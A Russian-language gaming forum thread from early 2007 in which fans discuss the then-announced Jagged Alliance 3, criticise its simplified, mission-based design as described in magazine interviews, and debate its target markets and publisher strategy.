Заголовок: Re: Jagged Alliance 3
Прислано пользователем Swine на 09.02.2007 в 12:32:00
И вообще, по моему, лучше, если разработчики честно скажут что игра будет помиссионной и эту помиссионность нормально реализуют - чтоб играть было интересно и проходилось все не за день, чем будут разглагольствовать о "возрождении подлинного духа настоящего джаггед альянса".

Я в помиссионности какого-либо глобального минуса не вижу - было дохрена качественных и интересных тактических игр такого плана.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Ushwood на 09.02.2007 в 13:01:43
2Macbeth:  
Quote:
P.P.S. Странно, что со стороны Акеллы пока не слышно ответных ударов...  
Это им только в плюс.
Возможно, ребята понимают, что надо меньше работать языком и больше руками.
Хотя, конечно, не исключено, что у их просто пиар-отдел спит :).

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Docent на 09.02.2007 в 13:35:18
2Ushwood:
Quote:
Возможно, ребята понимают, что надо меньше работать языком и больше руками.

На сайте DTF было уже заявление от Акеллы, что только они одни, единственные в мире, могли спасти серию JA ;D!


Quote:
Хотя, конечно, не исключено, что у их просто пиар-отдел спит :).

Скорее всего так и есть ;)!

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Dimitr на 09.02.2007 в 13:40:15
2Swine:  
Quote:
Конечно неприятно, когда заявляют : "минометов не будет, так как их использование нехарактерно для наемников", ну так у пеарщиков работа такая, не будут же они заявлять : "введение тяжелого вооружения потребует серьезной доработки движка, на которую у нас сейчас нет времени и ресурсов".  
а почему бы так и не заявить? вот не пойму я. В свое время strategy first вполне себе открыто заявляла, что сначал будет ja3d - что бы откатать движок как следует и уже потом стратегическая часть. И мне лично это виделось вполне нормальным заявлением людей которые понимают, что за год разработки такой шедевр как ja2 не повторить и поэтому надо сделать сначала "поделку на тему", потом выслушать пользователей и разработчиков, а уже потом сделать что-то более или менее.

А то что происходит теперь выглядит странно. Ну вот глупо заявлять, что у игры где стратегическая часть составляла чуть ли не половину всех проблем игрока, она оказывается была не нужна. Что минометы, которыми все пользовались в ДЖА 2 и без них было не обойтись тоже не нужны и т.п.

Имхо вопро будет ли движок СС переработан на столько серьезно, что бы продукт стал самостоятельным произведением, а не как тут говорят СС в сеттинге джа. Если нет, то остается только надеяться, что будет и джа 3.5 в котором стратегической части и новым фичам уделят внимание.

Хочу заметить что для западного рынка вариант сс в сеттинге джа с минимальными изменениями движка, которые позволяют более соверменные машины это коммерчески очень даже нормальный вариант. Сроки разработки сравнительно небольшие, СС в забугорье я думаю мало кто видел ( по сравнени с ДЖА) и раскрученный брэнд на коробку - успех обеспечен. И плевать что фанаты всех стран, а российские особенности будут плеваться несколько лет. Зато денги в кассе и SF может даже не обанкротится. :)

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Macbeth на 09.02.2007 в 17:20:25

Quote:
СС в забугорье я думаю мало кто видел ( по сравнени с ДЖА)

Что-то вроде этого, только это в какой-то буржуйской статье называлось так: "Лучшая тактическая игра такого-то года, в которую никто не играл". Как-то так ЕМНИП.

Про СиМ - там вообще хохма. Или клеймили как неудачную игру (это те дебилы, у кого мозгов не хватило не убивать всех подряд и у которых из-за этого конец игры наступил очень быстро) или говорили, что чуть ли не шедевр. Первых было подавляющее большинство. В среднем где-то давали 3/5. Я думаю Новик знает об этом больше.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем SSSVOLOCH на 09.02.2007 в 17:30:25
2Macbeth:  
Quote:
"Лучшая тактическая игра такого-то года, в которую никто не играл"
 2004 год, GameSpot. Вот линк:
http://www.dtf.ru/news/read.php?id=34839

Про СиМ - согласен, но игра построена так, что не требует сразу и настойчиво более вдумчивого прохождения. Потому в первый раз многие даже не дебилы, а просто ветераны S2 прошли по "плохому сценарию". Просто по привычке выносили всё живое...:)

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Novik на 10.02.2007 в 09:49:03

Quote:
2004 год, GameSpot. Вот линк:  

Для 2004 года это, скорее всего, так и есть. Т.к. на американский рынок игра попала год спустя. Теперь она вряд ли заслуживает подобной характеристики.
Quote:
Или клеймили как неудачную игру (это те дебилы, у кого мозгов не хватило не убивать всех подряд  

Дебилы там, вообщем, не при чем. При чем ошибочная концепция - "сделать игру, в которую мне любимому играть было бы интересно" а не "сделать игру, которая бы хорошо продавалась". В смысле, это я теперь такой умный, два года назад мне эти мысли в голову не особо приходили.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Macbeth на 10.02.2007 в 10:56:38

Quote:
Дебилы там, вообщем, не при чем.

Разве не кричали, что игра короткая?

Для прохождения без лишних жертв по-моему вполне себе не маленькая, уж точно подлиннее всяких Колл оф Дьюти...


Quote:
сделать игру, которая бы хорошо продавалась

Имхо идея перевода СиМа и продажа за дальним бугром была неудачной. И в первую очередь по продажам. Не знаю как с этим получилось в итоге, но не думаю, что очень хорошо продалась...

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Дядя Боря на 10.02.2007 в 11:19:05
2Novik:  :)
Нет, ну почему, мне в СиМ играть было тоже интересно. Так что, вероятно, дебиллы тоже "при чём" :). И их много, очень много, и игры покупают - в основном они. Так что, конечно, надо делать игру  
Quote:
которая бы хорошо продавалась
. Но вот трудно это - в массовый спрос попасть. вероятно баланс нужен, а то как с Фоллом и Джа получится - "очень широко известные игры в очень узком кругу игроков в них"

Заголовок: Re: Jagged Alliance 3
Прислано пользователем sakhalinec на 23.02.2007 в 04:15:04
Журнал "игромания"  в номере за февраль написала что JA 3 выйдет в этом году. это правда?

Заголовок: Re: Jagged Alliance 3
Прислано пользователем DJ-Glock на 23.02.2007 в 09:38:55
2sakhalinec: это номер за первое апреля :D ;D :P :P :P

Заголовок: Re: Jagged Alliance 3
Прислано пользователем bugmonster на 26.02.2007 в 11:08:11
2sakhalinec: Так заявляют разработчики. Есть большая вероятность что врут.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем SSSVOLOCH на 26.02.2007 в 12:22:50
В новой "Игромании" (27-го февраля выходит) должны быть обзорные статьи о "Джазе" и JA 3. В какой форме - не знаю, но наверняка что-то новое должно быть известно.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Docent на 01.03.2007 в 12:46:27
All:

Почитал интервью в журнале "Игромания" ;).
Узнал не сильно много полезной информации, но негативное впечатление от игры у меня ещё сильнее окрепло :(!

Моменты, которые мне сильно не понравились:
- Отсутствие тренировки ополчения;
- Сильное упрощение микроменеджмента;
- Ограничение наёмников единственным отрядом в 6 человек, который нельзя разделять ни при каких условиях;
- Существенное ускорение и упрощение всего процесса игры - теперь не будет повторных боёв за один и тот же сектор;

Quote:
Мы скорректировали динамику - действие несётся на всех парусах. В Jagged Alliance 3 нельзя тренировать ополчение, на смену повторяющимся перепалкам за один и тот же посёлок придут платные миссии...

Вывод такой, что удержания захваченных секторов также не будет, нет ополчения, нет разделения отряда, и нет повторных боёв :(!
- Рекламируемая линейная помиссионная структура игры (смотри цитату выше);
- Упрощение и серьёзное сужение тактик захвата секторов;

Quote:
Помните, как вы отсиживались на крышах и снимали врагов одного за одним? Мы убрали все ультимативные тактики. Крышу можно подорвать и таким образом выбить засевшего на высоте снайпера.

Далее описывается, что специалистам по ночным боям теперь тоже в игре почти не будет места :o!
Снайпера и специалисты по ночным боям теперь окажутся практически не нужными, на их массовом использовании нельзя будет построить тактику боевых действий :(!

В целом, ожидается существенное упрощение всего геймплея игры для придания игре динамизма и привлечения к игре казуалов ::)!

Общий вывод:
Такой свободы действий, которая была в JA2, теперь не будет не только на стратегической, но даже на тактической карте >:(!
Игра Jagged Alliance 3 станет динамичной, практически линейной (помиссионной) и с сильно упрощённым геймплеем :o!


Заголовок: Re: Jagged Alliance 3
Прислано пользователем zed на 01.03.2007 в 13:06:45

Quote:
Общий вывод:  
Такой свободы действий, которая была в JA2, теперь не будет не только на стратегической, но даже на тактической карте !
Игра Jagged Alliance 3 станет динамичной, практически линейной (помиссионной) и с сильно упрощённым геймплеем  

Аркада чтоли ? :)

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Чертовска Вражiна на 01.03.2007 в 14:52:18
  JA2 -- на веки векоff !!!  :D :D :D :D :D

Заголовок: Re: Jagged Alliance 3
Прислано пользователем bugmonster на 01.03.2007 в 15:22:36
2zed: Почему же аркада. Silent Storm в сеттинге JA.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Дядя Боря на 01.03.2007 в 19:06:35
2bugmonster: В Silent Storm можно было строить игру на снайпере, на гренадёре, на разведчике-ночнике, на тихушнике-ножевике, короче - применять различные тактики с раскачкой различных специальностей. Здесь же однако хотят упростить - сократить даже ту специализацию, что была в Silent Storm. В угоду естественно массовому игроку. Нет, не Дум конечно получается, но вот на пошаговое воплощение  Халф Лайф - похоже :)

Заголовок: Re: Jagged Alliance 3
Прислано пользователем redson на 01.03.2007 в 19:09:18
>...Почитал интервью в журнале "Игромания" .
Узнал не сильно много полезной информации, но негативное впечатление от игры у меня ещё сильнее окрепло

Аналогично! Господинчик из "Акеллы" у которого брали интервью с понтом говорил, что "многие виды оружия лично держал в руках". Сильно в этом сомневаюсь! Особенно убила фраза "уважающий себя стрелок с револьвером 38-го калибра на задание не пойдет" :o Дальше по-моему ехать уже некуда. Если остальные "специалисты" там такие же, то ничего хорошего ждать не стоит. Впрочем, это только мое мнение, никому его не навязываю. Скрины в журнале очень даже ничего.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Docent на 01.03.2007 в 19:45:58
2redson:  
Quote:
Скрины в журнале очень даже ничего.

Скрины, по существу, абсолютно ничем не отличаются от тех, которые были приведены в журнале "Навигатор Игрового Мира" №12 декабрь 2006 г. :(!
Игрового интерфейса экрана на них также нет :(.

Скрины к игре лучше смотреть по ссылке:
http://www.ag.ru/screenshots/jagged_alliance_3
Там хоть есть и интефейс экрана и глобальная карта ;).

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Macbeth на 01.03.2007 в 19:46:28
Статью пока не читал, но описанный негатив читавших перешел и на меня.


Quote:
Скрины в журнале очень даже ничего.

Видимо на это и будет ВЕСЬ упор. К черту менеджмент, к черту тактику, к черту нелинейность, да здравствует красивая обертка.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем redson на 01.03.2007 в 20:11:43
2Docent:
"Навигатор Игрового Мира" №12 декабрь 2006 г. я не читал. А за ссылочку большое спасибо!

2Macbeth:
Уважаемый, скриншоты - это пока единственное что у нас есть. Разговоры о менеджменте, тактике, нелинейности и проч. нужно отложить до выхода демо-версии. Игру надо "потрогать"! Может не все так плохо…

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Docent на 01.03.2007 в 20:41:31
2redson:  
Quote:
А за ссылочку большое спасибо!

Пожалуйста :).

Quote:
Разговоры о менеджменте, тактике, нелинейности и проч. нужно отложить до выхода демо-версии. Игру надо "потрогать"! Может не все так плохо…  

А вот по поводу того, что нельзя обсуждать игру пока сам демку не потрогаешь, я совсем не согласен ;)!
Игру как раз можно и даже нужно обсуждать до выхода демки, а потом уже будет поздно ;)!

Кстати на форумах AG, обсуждают опубликованное интервью довольно активно, и можно почитать немало любопытной информации по ссылке, начиная с поста камрада Alex84 "Re: Jagged Alliance 3 (Ответ #290) от 28 февраля 2007, 09:42":
Ветка по Jagged Alliance 3 (http://forums.ag.ru/?board=fl_ja&action=display&s=0&num=1158070005&start=270)
Всем кому интересна судьба проекта, рекомендую ознакомиться ;).

Заголовок: Re: Jagged Alliance 3
Прислано пользователем redson на 01.03.2007 в 20:51:05
2Docent:
>...Игру как раз можно и даже нужно обсуждать до выхода демки, а потом уже будет поздно

А разве от того что мы будем ее тут очень яростно обсуждать до выхода демки, в игре что-то изменится? Сильно сомневаюсь! Игру хоть и разрабатывают наши, но финансируют-то канадцы, стало быть они и музыку заказывают. Им наши обсуждения до одного места. А если "Акелла" свою линию гнуть будет, с ними не согласную, передадут право на разработку кому-нибудь другому и выйдет какой-нибудь самостоятельный проект "Джа на нашей стороне" или что-то в этом роде!

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Docent на 01.03.2007 в 21:22:11
2redson:  
Quote:
А разве от того что мы будем ее тут очень яростно обсуждать до выхода демки, в игре что-то изменится? Сильно сомневаюсь! Игру хоть и разрабатывают наши, но финансируют-то канадцы, стало быть они и музыку заказывают. Им наши обсуждения до одного места.

А вот это ты зря считаешь, что обсуждение на форумах не даёт абсолютно никаких результатов ;)!
Сейчас уже времена несколько изменились, и за обсуждением на форумах игровых проектов, может быть и не очень внимательно, но следят :)!
Даже если и не сами разработчики, так журналисты игровых журналов посматривают ;).
Вот увидишь, что уже в следующем интервью в "Игромании" по этому проекту обязательно будут вопросы типа: "А вот эту фичу в игре фанаты на форумах очень отрицательно восприняли, что вы предприняли, чтобы изменить сию печальную ситуацию?"
И разработчики проекта просто вынуждены будут хоть как-то реагировать :P!

Аналогичные вопросы, связанные с мнением фанатов, по нескольким новым проектам встречаю сейчас в различных интервью регулярно ;).
Да и разработчики из F3 Games о существовании нашего форума тоже знают, о чём сами заявляли, в частности, на форумах AG :)!

Но ещё лучше постить прямо на форуме студии F3 Games, когда они откроют свой сайт, как обещали ;). Там они волей неволей вынуждены будут реагировать на недовольство фанатов :)!

А вот если девелоперов никогда не пинать абсолютно, так они и будут продолжать думать, что "идут верной дорогой", как сказано в интервью :P!

Заголовок: Re: Jagged Alliance 3
Прислано пользователем zed на 01.03.2007 в 21:40:49
[offtop]2Дядя Боря:  
Quote:
пошаговое воплощение  Халф Лайф

Так, грязными руками святое попрошу не лапать, как раз Half-Life для своего жанра и времени была и остается эталоном и сравнивать ее с "этим" кощунство  :P .
2bugmonster:  
Quote:
Почему же аркада. Silent Storm в сеттинге JA.  
В сайлент сторме нелинейность была(пусть и весьма условная), тут же судя по всему и такой не будет.
[/offtop]

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Docent на 01.03.2007 в 21:48:27
2zed:  
Quote:
В сайлент сторме нелинейность была(пусть и весьма условная), тут же судя по всему и такой не будет.

Определённую нелинейность обещают и в Jagged Alliance 3, примерно такую же как в "Операции Silent Storm", тоже весьма условную ;)!

Quote:
Более 20 нелинейных сценарных миссий, проходящих при различных погодных условиях, в различное время суток

На мой взгляд, будет реализовано разветвляющееся дерево миссий с возможностью выбора порядка их прохождения, примерно так как это было в "Операции Silent Storm" ;).

Заголовок: Re: Jagged Alliance 3
Прислано пользователем SSSVOLOCH на 01.03.2007 в 21:48:30
2redson:  
Quote:
но финансируют-то канадцы
очень в этом сомневаюсь;) , а вот в этом  
Quote:
стало быть они и музыку заказывают
- уверен.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Дядя Боря на 01.03.2007 в 22:21:49
2zed: [offtop]
Quote:
святое попрошу не лапать, как раз Half-Life для своего жанра и времени была и остается эталоном

Про эталон для жанра - не спорю, хотя этот жанр как раз начиная с "контры" и не люблю. А сравниваю - ну дык, эталон же, как с ним не сравнить :). Тем более что сравнимо весьма, и твои нежные чувства тут не причём  :P[/offtop]

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Macbeth на 01.03.2007 в 22:31:13

Quote:
Разговоры о менеджменте, тактике, нелинейности и проч. нужно отложить до выхода демо-версии. Игру надо "потрогать"! Может не все так плохо…

Читал я уже доводы разработчиков. Не последние, а более старые. Уверяю, ничего серьезного не изменится. Концепцию заложили.
За одно заявление про "некому не нужный" менеджмент их надо высечь. Это ересь. Так одной фразой можно опустить целый проект.

Ну и тенденции к упрощению всего налицо.

На сколько я понял, во втором интервью они подтвердили то, что было сказано ранее. По поводу остального ответил Доцент.

Хотя думаю, игру все равно купят. Даже большинство здешних джайцев. Ругать будут, но купят. А что еще надо?

Заголовок: Re: Jagged Alliance 3
Прислано пользователем zed на 01.03.2007 в 23:31:33

Quote:
Хотя думаю, игру все равно купят. Даже большинство здешних джайцев. Ругать будут, но купят. А что еще надо?

А я, например, не был бы так уверен, так как давно уже не покупаю игру предварительно не поиграв в нее, кстати по этой причине уже довольно приличная стопка лицензий нераспечатанных лежит.
[offtop]Что то подумалось что нехватает голосований на форуме...[/offtop]

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Macbeth на 01.03.2007 в 23:46:48

Quote:
А я, например, не был бы так уверен

Посмотрим  ;)


Quote:
приличная стопка лицензий нераспечатанных лежит.  

Издателю пофиг, играл ты или нет. Главное купил.  8)

Заголовок: Re: Jagged Alliance 3
Прислано пользователем zed на 02.03.2007 в 00:18:31

Quote:
Издателю пофиг, играл ты или нет. Главное купил.  

Ты мысль неправильно понял, то что лежит нераспечатанным, это куплено после прохождения понравившихся "прираток" ака копии с лицензии, так что при таком подходе издателю не пофиг понравилось мне или нет :)
А вообще мы(СНГ) не целевая аудитория так что бесполезно бузить, плевать издатель хотел на нас :) только если прикинутся обитателем "лапландии" и бузить на форуме у издателя :)

Заголовок: Re: Jagged Alliance 3
Прислано пользователем SSSVOLOCH на 02.03.2007 в 01:13:35
2zed: Думаю, что Россия и русскоязычный рынок вокруг - это как раз целевая аудитория. Здесь цена ниже - но продажи однозначно будут больше, чем на Западе. Что и показала история Героев 5.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем pipetz на 02.03.2007 в 10:05:59
 
Quote:

Quote:но финансируют-то канадцы

очень в этом сомневаюсь , а вот в этом  
Quote:стало быть они и музыку заказывают

- уверен.


Не совсем понял. В чём уверен?
В том, что музыку заказывают Канадцы?
или В том, что музыку заказывают те кто финансирует?  :)
И кто тогда финансирует если не Канадцы?

Да и вообще, кто такие Канадцы в нашем космополитичном мире транснациональных корпораций и террористических организаций. ИМХО, надо выражаться конкретней: "Создаение игры финансирует Газпром" или Микрософт, или Алькаида например  ;D.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Macbeth на 02.03.2007 в 10:39:28

Quote:
А вообще мы(СНГ) не целевая аудитория

Угу... расскажи это разработчикам и издателям Санитаров Подземелий. Говорят, успех был огромный. А за пределами СНГ ими и не пахло, разве что кто-то купили здесь и привезли туда русским эмигрантам показать...


Quote:
Не совсем понял. В чём уверен?

В том, что канадцы курируют, но денег на дают.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем SSSVOLOCH на 02.03.2007 в 11:17:27
2pipetz:  
Quote:
В том, что канадцы курируют, но денег на дают.
Вот именно в этом, верно.

2Macbeth:  
Quote:
Угу... расскажи это разработчикам и издателям Санитаров Подземелий. Говорят, успех был огромный. А за пределами СНГ ими и не пахло, разве что кто-то купили здесь и привезли туда русским эмигрантам показать...

Некорректный пример. СП - это русский проект на русском менталитете. Да, юмористы и пародисты есть есть везде, но у Гоблина свой уникальный стиль - и он слабо переводится. Этот стиль - главное достоинство игры (тактика там никакая, местами даже неудобная, ничего уникального нет).
Так что СП - это проект хоть и по лицензии, но нацеленый изначально и ТОЛЬКО (!) на Россию. Можно еще вспомнить "русский квест", бессмысленный и беспощадный. Тиражи "Штырлица" или "ПиВИЧ" побить сейчас почти невозможно. Но никто не собирается выводить их на Запад. Они и здесь неплохо отбиваются.

Я просто говорю о том, что глобальная мировая популярность JA, как бренда, слегка преувеличена на этом форуме. Причем - независимо от качества игр, которые под этим брендом выходили. Нишевый проект, как говорят в таких случаях.
Это не хорошо и не плохо. Это факт. Именно поэтому SFI хочет расширить эту нишу, отказываясь от некоторых сложных для разработки и понимания казуалами моментов. Быстро, дешево, симпатично - вот главные критерии.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем bugmonster на 02.03.2007 в 11:57:35
2SSSVOLOCH:

Quote:
СП - это русский проект на русском менталитете. Да, юмористы и пародисты есть есть везде, но у Гоблина свой уникальный стиль - и он слабо переводится. Этот стиль - главное достоинство игры (тактика там никакая, местами даже неудобная, ничего уникального нет).
Так что СП - это проект хоть и по лицензии, но нацеленый изначально и ТОЛЬКО (!) на Россию.

Однако, если бы СП получился говёный - это бы его не спасло. А покамест СП для готовящегося JA3 - недостижимая вершина.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем zed на 02.03.2007 в 12:02:46

Quote:
Угу... расскажи это разработчикам и издателям Санитаров Подземелий. Говорят, успех был огромный. А за пределами СНГ ими и не пахло, разве что кто-то купили здесь и привезли туда русским эмигрантам показать...  

Целевую аудиторию определяет тот кто собирается на этом зарабатывать. Гоблин эту игру делал не столько для денег сколько для удовольствия.
А вообще то что ты процитировал сказано про западных издателей.

2SSSVOLOCH:  
Quote:
Что и показала история Героев 5.
Просто интересно 2 момента: 1. Юбисофт этим доволен ? 2. Нивал доволен продажами ?
Кстати мне жутко интересно как СНГ мог являться целевой аудиторией если русская версия игры была  переводом низкого качества английского варианта ? :)

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Docent на 02.03.2007 в 12:04:37
2SSSVOLOCH:  
Quote:
Именно поэтому SFI хочет расширить эту нишу, отказываясь от некоторых сложных для разработки и понимания казуалами моментов. Быстро, дешево, симпатично - вот главные критерии.


На увеличении общего числа продаж Jagged Alliance 3 такой несколько странный подход заказчиков скажется, вполне возможно, положительно ::).

Но само качество геймплея игры однозначно ухудшиться, скорее всего он станет не только сильно упрощённым и динамичным, но ещё и одноразовым в прохождении :(!


Заголовок: Re: Jagged Alliance 3
Прислано пользователем SSSVOLOCH на 02.03.2007 в 12:09:16
2bugmonster: Возьмем другой пример - "Братва и Кольцо" - игра гораздо проще СП. Типичный слэшер. И, тем не менее, тоже продается.

2zed:  
Quote:
Просто интересно 2 момента: 1. Юбисофт этим доволен ? 2. Нивал доволен продажами ?
Кстати мне жутко интересно как СНГ мог являться целевой аудиторией если русская версия игры была  переводом низкого качества английского варианта ?
Юби - не знаю, а Нивал по словам их директора - доволен.
А дело абсолютно не в переводе. Все равно большинство сначало купили, а только потом увидели, что это перевод. Это типично для ожидаемой нишевой игры.

2Docent: О качестве не мне судить. Да и вообще рано.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем zed на 02.03.2007 в 12:18:14
2SSSVOLOCH:
Для себя мысль поста воспринял так:
Покупаем бренд, делаем красивые скриншоты (критерий оценки во всех игровых журналах) остальное на усмотрение разработчика, можно сделать игру более менее играбельной, а можно потратится на пиар и покупку статей в журнале(последнее даже даст больший эффект :) )...
Подались? Ищем следующий бренд.
Грустно, но правда :(

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Lm на 02.03.2007 в 12:22:35
кто нить уже выложите эту статью  ::)

2SSSVOLOCH:  
Quote:
у Гоблина свой уникальный стиль

вот кому надо доверить написать и озвучить реплики наемников  8)

Заголовок: Re: Jagged Alliance 3
Прислано пользователем SSSVOLOCH на 02.03.2007 в 12:23:03
2zed: Я не совсем это имел в виду... но мысль интересная, да!:)))

2Lm: У него своих проектов полно - пусть там и пишет, и зовучивает, и анимирует - хоть текстурирует самостоятельно:)

Заголовок: Re: Jagged Alliance 3
Прислано пользователем bugmonster на 02.03.2007 в 12:26:09
2SSSVOLOCH: "Братву и Кольцо" видимо и взяли за пример для подражания. Пошаговый слешэр со стрельбой JA3 ;D

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Krot на 02.03.2007 в 12:55:45
Тут про Героев рассуждали...

Касательно целевой аудитории: Игра  вышла на 12 языках, включая корейский китайский и тайваньский  ;) Говорить об одном целевом рынке мягко говоря некоректно - игра изначально делалась для всех крупнейших мировых рынков.  

Игра делалалсь на английском, потому что это универсальный международный язык общения, понятный всем участникам процесса: разработчику, издателю, переводчикам.    

Продажи существенно превысили запланированные издателем - ими довольны все  :)

Прибыль от продаж зарубежом естественно выше, чем от продаж здесь, так как дело не только в количестве проданных дисков, но и в их стоимости  ;)

Извиняюсь за оффтоп в ветке :)

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Macbeth на 02.03.2007 в 14:11:44

Quote:
глобальная мировая популярность JA, как бренда, слегка преувеличена на этом форуме

Что значит преувеличена? На фанфоруме по игре, скажем, Far Cry будут говорить, что это великая игра. На форуме пэкмана - соответственно.
Тем не менее время идет, а Ja2 пока никто не переплюнул. Даже вровень не встал.


Quote:
кто нить уже выложите эту статью

Почитай АГ... там говорят, что ничего нового. Зная Игроманию, можно уверенно предположить, что так оно и есть. Накалякали 2 страницы ни о чем. Хотя не спорю, что для этого тоже нужен талант...


Quote:
Некорректный пример. СП - это русский проект на русском менталитете.

Ну-ну... SS делался и для буржуев. Тем не меннее они не слишком его оценили, в отличие от России.

2Krot:, спасибо, будем считать, что это официальное заявление представителя Нивал  ;)

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Krot на 02.03.2007 в 14:21:30
2Macbeth:


Quote:
спасибо, будем считать, что это официальное заявление представителя Нивал


Всегда, пожалуйста! ...Но, все-таки - неофициальное ;-)

Заголовок: Re: Jagged Alliance 3
Прислано пользователем SSSVOLOCH на 02.03.2007 в 14:35:05
2Macbeth: Я говорю о продажах, а не о преданности фанатов. Издателю не важен фанатизм, если он не оправдывает затрат на разработку. ПО продажам JA никогда не мог ни с кем конкурировать.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Docent на 02.03.2007 в 14:40:37
2Macbeth:  
Quote:
Ну-ну... SS делался и для буржуев. Тем не меннее они не слишком его оценили, в отличие от России.

Наверное, игра оказалась излишне сложной для казуальных западных геймеров ::).
Как там писали в забугорных изданиях: "Лучшая тактическая игра года, в которую никто не играл" ::)?

Для того, чтобы сделать Jagged Alliance 3 более продаваемой на западе, разработчики из F3 Games должны весьма сильно упростить геймплей даже не JА2, а геймплей её базовой основы - "Операции Silent Storm" :(.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Krot на 02.03.2007 в 14:52:25
2Docent:  


Quote:
Наверное, он оказался излишне сложным для казуальных западных геймеров .  


Дело не в сложности. Западным игрокам в массе своей неинтересен сам жанр пошаговой тактики.

Можно упрощать сколько угодно, но массовая аудитория играющая в  шутеры и РТС, пошаговую тактику, все-равно, не купит.

Только глобальные пошаговые стратегии вроде Цивы, Медивела, или тех же Героев, пользуются там относительным успехом.  

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Rustam на 02.03.2007 в 15:00:50
2bugmonster:  
Quote:
"Братву и Кольцо" видимо и взяли за пример для подражания. Пошаговый слешэр со стрельбой JA3

В строке Жанры: не убрана надпись Real-time, у Джаз такого нет (предлагаю считать название игры Джаз словом среднего рода :))
http://www.ag.ru/games/jagged_alliance_3
К чему бы это?
(Ещё предлагаю произносить не коротко, а нарастяг "Джа-а-ас")  ;D

Заголовок: Re: Jagged Alliance 3
Прислано пользователем bugmonster на 02.03.2007 в 15:21:54
2Rustam: Там бои пошаговые, вне боя - реалтайм.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Docent на 02.03.2007 в 15:36:47
2Krot:  
Quote:
Можно упрощать сколько угодно, но массовая аудитория играющая в  шутеры и РТС, пошаговую тактику, все-равно, не купит.

Но в "Навигаторе Игрового Мира" ясно писали, что упрощением геймплея и микроменеджмента в Jagged Alliance 3 хотят привлечь к игре большую массу казуалов ::)?
Ошиблись в прогнозах, или всё-таки надеются привлечь массовую аудиторию ;)?

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Macbeth на 02.03.2007 в 15:45:26

Quote:
Ошиблись в прогнозах, или всё-таки надеются привлечь массовую аудиторию

А могут отпугнуть и тех и других...


Quote:
Я говорю о продажах, а не о преданности фанатов. Издателю не важен фанатизм, если он не оправдывает затрат на разработку.

При чем тут преданность? В России SS должен был окупиться.


Quote:
ПО продажам JA никогда не мог ни с кем конкурировать.

И не должен. Ну, вообще-то, не так уж и ни с кем...
1999 - время Старкрафта... чего там еще важного было? Свою нишу тогда Ja2 нашел... не надо ла-ла...

Заголовок: Re: Jagged Alliance 3
Прислано пользователем zed на 02.03.2007 в 15:52:35

Quote:
время Старкрафта
Некоторые любители RTS считают что оно и не закончилось, т. к. ничего нового и играбельного (не в плане 1 раз прошел все миссии , а в плане мультиплеера) нет :)

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Rustam на 02.03.2007 в 16:41:13
2Macbeth:  
Quote:
А могут отпугнуть и тех и других...  

Да ну, нас разве отпугнёшь?
Ну не поиграем мы в эту игру, так в следующую же поиграем если сделают как мы хотим. В данном случае "потеря покупателей-фанатов в обмен на многократное увеличение покупателей-нефанатов" для издателя правильная арифметика.
Потеряют покупателей-фанатов, которые останутся фанатами, просто играть пока не будут. Зато появятся новые фанаты, под новый тип игры. Потом с деньгами издатель будет делать продолжение и для JA3 и отдельно для JA2. Видимо план таков. Всё таки они делают Ja3(по идее Ja3D, как и собирались, то есть промежуточный продукт этот никто не отменял и они следуют давнишней задумке) и делают они это в рекламных целях и в целях привлечения аудитории, и меняют игру так, чтобы продажи были. Вроде как правильно всё, но хотелось бы подтверждения и прямым текстом чтобы сказали "да это не Джа2".

По-моему, им не стоит особо стараться над JA3, а нужно выпустить его насколько возможно скорее. Так им прибыль больше будет, а игрой это всё равно не станет. Если же они хотят сделать достойную игру в другом жанре, так вот вроде именно JA3, по иронии судьбы, нужно переносить из этого раздела в "Тоже игры", чтобы не думалось им, что мы ничего не понимаем. Ежели я чего неправильно понимаю, объясните мне, пожалуйста.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Novik на 02.03.2007 в 18:14:54

Quote:
Свою нишу тогда Ja2 нашел... не надо ла-ла...  

Да-да :) "Потерпев поражение в Бородинской битве Напалеон с горя занял Москву". В смысле - выпустив "чудо-игру всех времен и народов" компания Sir-Tech от радости разорилась.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Macbeth на 02.03.2007 в 18:46:46
2Novik:
Ну разорился издатель. Мало ли у них было других, действительно провальных проектов... Может просто плохая политика (см. Interplay с его бездарным руководством). Если вы знаете точные причины разорения СирТека - поделитесь.


Quote:
Да ну, нас разве отпугнёшь?  

Да вряд ли. Я так, запугиваю...  8)

Заголовок: Re: Jagged Alliance 3
Прислано пользователем SSSVOLOCH на 02.03.2007 в 19:46:18
